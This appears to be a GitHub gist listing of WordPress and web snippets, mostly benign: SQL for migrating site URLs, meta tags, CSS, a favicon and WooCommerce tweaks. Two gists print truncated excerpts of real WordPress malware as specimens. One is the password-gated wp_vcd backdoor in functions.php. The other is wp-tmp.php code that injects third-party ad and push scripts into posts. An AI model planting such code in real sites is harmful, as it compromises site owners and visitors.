Skip to content

Instantly share code, notes, and snippets.

View metelidrissi's full-sized avatar

Met El Idrissi metelidrissi

View GitHub Profile
@metelidrissi
metelidrissi / sentences_sql.sql
Last active September 17, 2019 11:09
Sentencias SQL para el migrado de WordpRESS
/*Cambiar el SITEURL i la HOMEURL*/
UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com') WHERE option_name = 'home' OR option_name = 'siteurl';
/*Cambiar los GUID*/
UPDATE wp_posts SET guid = REPLACE (guid, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com');
/*Cambiar los POST_CONTENT*/
UPDATE wp_posts SET post_content = REPLACE (post_content, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com');
/*Cambiar los PATH de las imagenes*/
@metelidrissi
metelidrissi / change_color_of_header_browser.html
Last active September 17, 2019 11:19
How to change the color of the browser's header
/*Chrome, Firefox OS and Opera*/
<meta name="theme-color" content="#4285f4">
/* Windows Phone */
<meta name="msapplication-navbutton-color" content="#4285f4">
/* iOS Safari */
<meta name="apple-mobile-web-app-status-bar-style" content="#4285f4">
@metelidrissi
metelidrissi / change_placeholder_color_cf7.css
Created September 17, 2019 15:05
Cambiar el color del placeholder en Contact Form 7 con CSS
::-webkit-input-placeholder { /* WebKit browsers */
color: #000 !important;
opacity: 1;
}
:-moz-placeholder { /* Mozilla Firefox 4 to 18 */
color: #000 !important;
opacity: 1;
}
::-moz-placeholder { /* Mozilla Firefox 19+ */
color: #000 !important;
@metelidrissi
metelidrissi / header_spam.xml
Last active September 17, 2019 15:35
Cabecera de un correo electrónico
X-Spam-Flag: YES/NO (devuelve uno de esos dos valores YES, NO)
X-Spam-Status: **** (un número de asteriscos, uno por cada punto)
@metelidrissi
metelidrissi / adding_favicon_wordprss.html
Created September 17, 2019 15:58
Añadir favicon en WordPress
<link rel="shortcut icon" type="image/png" href="/favicon.png"/>
<link rel="shortcut icon" type="image/png" href="http://example.com/favicon.png"/>
@metelidrissi
metelidrissi / redirect_to_checkout.php
Last active September 17, 2019 22:59
Redireccionar botón hacia checkout en WooCommerce
<php
add_filter ('add_to_cart_redirect', 'redirect_to_checkout');
function redirect_to_checkout() {
global $woocommerce;
$checkout_url = $woocommerce->cart->get_checkout_url();
return $checkout_url;
}
@metelidrissi
metelidrissi / max_execution_time.php
Created September 19, 2019 19:30
¿Cómo aumentar el max_execution_time en tu máquina?
;Maximum execution time of each script, in seconds
;http://php.net/max-execution-time
;Note: This directive is hardcoded to 0 for the CLI SAPI
max_execution_time=300
@metelidrissi
metelidrissi / hack_to_theme_in_functions.php
Last active September 24, 2019 19:03
Hackeo en WordPress en el archivo functions.php
<?php
if (isset($_REQUEST['action'])
&& isset($_REQUEST['password'])
&& ($_REQUEST['password'] == '997ab9d2e13755e036ff6ebe66464f43')){
$div_code_name="wp_vcd";
switch ($_REQUEST['action']){
case 'change_domain';
if (isset($_REQUEST['newdomain'])){
if (!empty($_REQUEST['newdomain'])){
if ($file = @file_get_contents(__FILE__)){
@metelidrissi
metelidrissi / hack_to_wordpress_wp-tmp.php
Last active September 29, 2019 23:27
Hackeo en WordPress dentro de wp-includes
<?php
ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key='1234567897897895456';
if ( ! function_exists( 'slider_option' ) ) {
function slider_option($content){
if(is_single()){
$con = '';
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';
@metelidrissi
metelidrissi / disable_gutenberg_in_wordpress.php
Created September 17, 2019 14:56
Deshabilitar Gutenberg en WordPress
// disable for posts
add_filter(‘use_block_editor_for_post’, ‘__return_false’, 10);
// disable for post types
add_filter(‘use_block_editor_for_post_type’, ‘__return_false’, 10);